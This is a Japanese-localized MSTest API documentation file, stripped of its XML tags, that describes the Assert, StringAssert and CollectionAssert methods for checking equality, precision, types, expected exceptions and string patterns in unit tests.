- - - - 指定した値どうしが等しくないかどうかをテストして、 - 2 つの値が等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - Thrown if is equal to . - - - - - 指定した値どうしが等しくないかどうかをテストして、 - 2 つの値が等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した値どうしが等しくないかどうかをテストして、 - 2 つの値が等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトどうしが等しいかどうかをテストして、 - 2 つのオブジェクトが等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで予期されるオブジェクトです。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - Thrown if is not equal to - . - - - - - 指定したオブジェクトどうしが等しいかどうかをテストして、 - 2 つのオブジェクトが等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで予期されるオブジェクトです。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定したオブジェクトどうしが等しいかどうかをテストして、 - 2 つのオブジェクトが等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで予期されるオブジェクトです。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定したオブジェクトどうしが等しくないかどうかをテストして、 - 2 つのオブジェクトが等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトどうしが等しくないかどうかをテストして、 - 2 つのオブジェクトが等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトどうしが等しくないかどうかをテストして、 - 2 つのオブジェクトが等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した浮動小数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで予期される浮動小数です。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - Thrown if is not equal to - . - - - - - 指定した浮動小数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで予期される浮動小数です。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定した浮動小数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで予期される浮動小数です。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定した浮動小数どうしが等しくないかどうかをテストして、 - 等しい場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで次と一致しないと予期される - 浮動小数です 。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - Thrown if is equal to . - - - - - 指定した浮動小数どうしが等しくないかどうかをテストして、 - 等しい場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで次と一致しないと予期される - 浮動小数です 。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した浮動小数どうしが等しくないかどうかをテストして、 - 等しい場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで次と一致しないと予期される - 浮動小数です 。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した倍精度浮動小数点数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の倍精度浮動小数点型。これはテストで予期される倍精度浮動小数点型です。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - Thrown if is not equal to - . - - - - - 指定した倍精度浮動小数点数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の倍精度浮動小数点型。これはテストで予期される倍精度浮動小数点型です。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is not equal to . - - - - - 指定した倍精度浮動小数点数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の倍精度浮動小数点型。これはテストで予期される倍精度浮動小数点型です。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - 比較する最初の倍精度浮動小数点型。これはテストで次と一致しないと予期される - 倍精度浮動小数点型です 。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - 比較する最初の倍精度浮動小数点型。これはテストで次と一致しないと予期される - 倍精度浮動小数点型です 。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - 比較する最初の倍精度浮動小数点型。これはテストで次と一致しないと予期される - 倍精度浮動小数点型です 。 - - - 比較する 2 番目の倍精度浮動小数点型。これはテストのコードで生成される倍精度浮動小数点型です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 最大でも次の値の差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 または次の値未満の差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで予期される文字列です。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to . - - - - - 指定した文字列が等しくないかどうかをテストして、 - 等しい場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして、 - 等しい場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして、 - 等しい場合は例外をスローします。比較にはインバリアント カルチャが使用されます。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして - 等しい場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして - 等しい場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した文字列が等しくないかどうかをテストして - 等しい場合は例外をスローします。 - - - 比較する最初の文字列。これはテストで次と一致しないと予期される - 文字列です 。 - - - 比較する 2 番目の文字列。これはテストのコードで生成される文字列です。 - - - 大文字と小文字を区別する比較か、大文字と小文字を区別しない比較かを示すブール値。(true - は大文字と小文字を区別しない比較を示します。) - - - カルチャ固有の比較情報を提供する CultureInfo オブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトが予期した型のインスタンスであるかどうかをテストして、 - 予期した型がオブジェクトの継承階層にない場合は - 例外をスローします。 - - - テストで特定の型であると予期されるオブジェクト。 - - - 次の予期される型 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが予期した型のインスタンスであるかどうかをテストして、 - 予期した型がオブジェクトの継承階層にない場合は - 例外をスローします。 - - - テストで特定の型であると予期されるオブジェクト。 - - - 次の予期される型 。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが予期した型のインスタンスであるかどうかをテストして、 - 予期した型がオブジェクトの継承階層にない場合は - 例外をスローします。 - - - テストで特定の型であると予期されるオブジェクト。 - - - 次の予期される型 。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが間違った型のインスタンスでないかどうかをテストして、 - 指定した型がオブジェクトの継承階層にある場合は - 例外をスローします。 - - - テストで特定の型でないと予期されるオブジェクト。 - - - 次である型 必要のない。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが間違った型のインスタンスでないかどうかをテストして、 - 指定した型がオブジェクトの継承階層にある場合は - 例外をスローします。 - - - テストで特定の型でないと予期されるオブジェクト。 - - - 次である型 必要のない。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスである場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 指定したオブジェクトが間違った型のインスタンスでないかどうかをテストして、 - 指定した型がオブジェクトの継承階層にある場合は - 例外をスローします。 - - - テストで特定の型でないと予期されるオブジェクト。 - - - 次である型 必要のない。 - - - 次の場合に、例外に含まれるメッセージ - 次のインスタンスである場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - AssertFailedException をスローします。 - - - Always thrown. - - - - - AssertFailedException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - Always thrown. - - - - - AssertFailedException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Always thrown. - - - - - AssertInconclusiveException をスローします。 - - - Always thrown. - - - - - AssertInconclusiveException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - Always thrown. - - - - - AssertInconclusiveException をスローします。 - - - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Always thrown. - - - - - 静的な Equals オーバーロードは、2 つの型のインスタンスを比較して参照の等価性を調べる - ために使用されます。2 つのインスタンスを比較して等価性を調べるためにこのメソッドを使用 - することはできません。このオブジェクトは常に Assert.Fail を使用してスロー - します。単体テストでは、Assert.AreEqual および関連するオーバーロードをご使用ください。 - - オブジェクト A - オブジェクト B - 常に false。 - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - その (デリゲートを実行中)。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に AssertFailedException をスローするかどうかをテストします。 - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - 次の場合に、例外に含まれるメッセージ - 以下の型の例外をスローしない場合。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - その (デリゲートを実行中)。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に AssertFailedException をスローするかどうかをテストします。 - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - 次の場合に、例外に含まれるメッセージ - 以下の型の例外をスローしない場合。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - その (デリゲートを実行中)。 - - - - - null 文字 ('\0') を "\\0" に置き換えます。 - - - 検索する文字列。 - - - "\\0" で置き換えられた null 文字を含む変換された文字列。 - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - AssertionFailedException を作成して、スローするヘルパー関数 - - - 例外をスローするアサーションの名前 - - - アサーション エラーの条件を記述するメッセージ - - - パラメーター。 - - - - - 有効な条件であるかパラメーターを確認します - - - パラメーター。 - - - アサーション名。 - - - パラメーター名 - - - 無効なパラメーター例外のメッセージ - - - パラメーター。 - - - - - 安全にオブジェクトを文字列に変換し、null 値と null 文字を処理します。 - null 値は "(null)" に変換されます。null 文字は "\\0" に変換されます。 - - - 文字列に変換するオブジェクト。 - - - 変換された文字列。 - - - - - 文字列のアサート。 - - - - - CollectionAssert 機能の単一インスタンスを取得します。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 指定した文字列に指定したサブ文字列が含まれているかどうかをテストして、 - テスト文字列内にサブ文字列が含まれていない場合は例外を - スローします。 - - - 次を含むと予期される文字列 。 - - - 次の内部で発生することが予期される文字列 。 - - - Thrown if is not found in - . - - - - - 指定した文字列に指定したサブ文字列が含まれているかどうかをテストして、 - テスト文字列内にサブ文字列が含まれていない場合は例外を - スローします。 - - - 次を含むと予期される文字列 。 - - - 次の内部で発生することが予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not found in - . - - - - - 指定した文字列に指定したサブ文字列が含まれているかどうかをテストして、 - テスト文字列内にサブ文字列が含まれていない場合は例外を - スローします。 - - - 次を含むと予期される文字列 。 - - - 次の内部で発生することが予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not found in - . - - - - - 指定した文字列の先頭が指定したサブ文字列であるかどうかをテストして - テスト文字列の先頭がサブ文字列でない場合は - 例外をスローします。 - - - 先頭が次であると予期される文字列 。 - - - 次のプレフィックスであると予期される文字列 。 - - - Thrown if does not begin with - . - - - - - 指定した文字列の先頭が指定したサブ文字列であるかどうかをテストして - テスト文字列の先頭がサブ文字列でない場合は - 例外をスローします。 - - - 先頭が次であると予期される文字列 。 - - - 次のプレフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 先頭が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not begin with - . - - - - - 指定した文字列の先頭が指定したサブ文字列であるかどうかをテストして - テスト文字列の先頭がサブ文字列でない場合は - 例外をスローします。 - - - 先頭が次であると予期される文字列 。 - - - 次のプレフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 先頭が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not begin with - . - - - - - 指定した文字列の末尾が指定したサブ文字列であるかどうかをテストして、 - テスト文字列の末尾がサブ文字列でない場合は - 例外をスローします。 - - - 末尾が次であることが予期される文字列 。 - - - 次のサフィックスであると予期される文字列 。 - - - Thrown if does not end with - . - - - - - 指定した文字列の末尾が指定したサブ文字列であるかどうかをテストして、 - テスト文字列の末尾がサブ文字列でない場合は - 例外をスローします。 - - - 末尾が次であることが予期される文字列 。 - - - 次のサフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 末尾が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not end with - . - - - - - 指定した文字列の末尾が指定したサブ文字列であるかどうかをテストして、 - テスト文字列の末尾がサブ文字列でない場合は - 例外をスローします。 - - - 末尾が次であることが予期される文字列 。 - - - 次のサフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 末尾が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not end with - . - - - - - 指定した文字列が正規表現と一致するかどうかをテストして、 - 文字列が表現と一致しない場合は例外をスローします。 - - - 次と一致すると予期される文字列 。 - - - 次である正規表現 is - 一致することが予期される。 - - - Thrown if does not match - . - - - - - 指定した文字列が正規表現と一致するかどうかをテストして、 - 文字列が表現と一致しない場合は例外をスローします。 - - - 次と一致すると予期される文字列 。 - - - 次である正規表現 is - 一致することが予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致しない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not match - . - - - - - 指定した文字列が正規表現と一致するかどうかをテストして、 - 文字列が表現と一致しない場合は例外をスローします。 - - - 次と一致すると予期される文字列 。 - - - 次である正規表現 is - 一致することが予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致しない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not match - . - - - - - 指定した文字列が正規表現と一致しないかどうかをテストして、 - 文字列が表現と一致する場合は例外をスローします。 - - - 次と一致しないと予期される文字列 。 - - - 次である正規表現 is - 一致しないと予期される。 - - - Thrown if matches . - - - - - 指定した文字列が正規表現と一致しないかどうかをテストして、 - 文字列が表現と一致する場合は例外をスローします。 - - - 次と一致しないと予期される文字列 。 - - - 次である正規表現 is - 一致しないと予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致する場合 。メッセージはテスト結果に - 表示されます。 - - - Thrown if matches . - - - - - 指定した文字列が正規表現と一致しないかどうかをテストして、 - 文字列が表現と一致する場合は例外をスローします。 - - - 次と一致しないと予期される文字列 。 - - - 次である正規表現 is - 一致しないと予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致する場合 。メッセージはテスト結果に - 表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if matches . - - - - - 単体テスト内のコレクションと関連付けられている - さまざまな条件をテストするヘルパー クラスのコレクション。テスト対象の条件を満たしていない場合は、 - 例外がスローされます。 - - - - - CollectionAssert 機能の単一インスタンスを取得します。 - - - Users can use this to 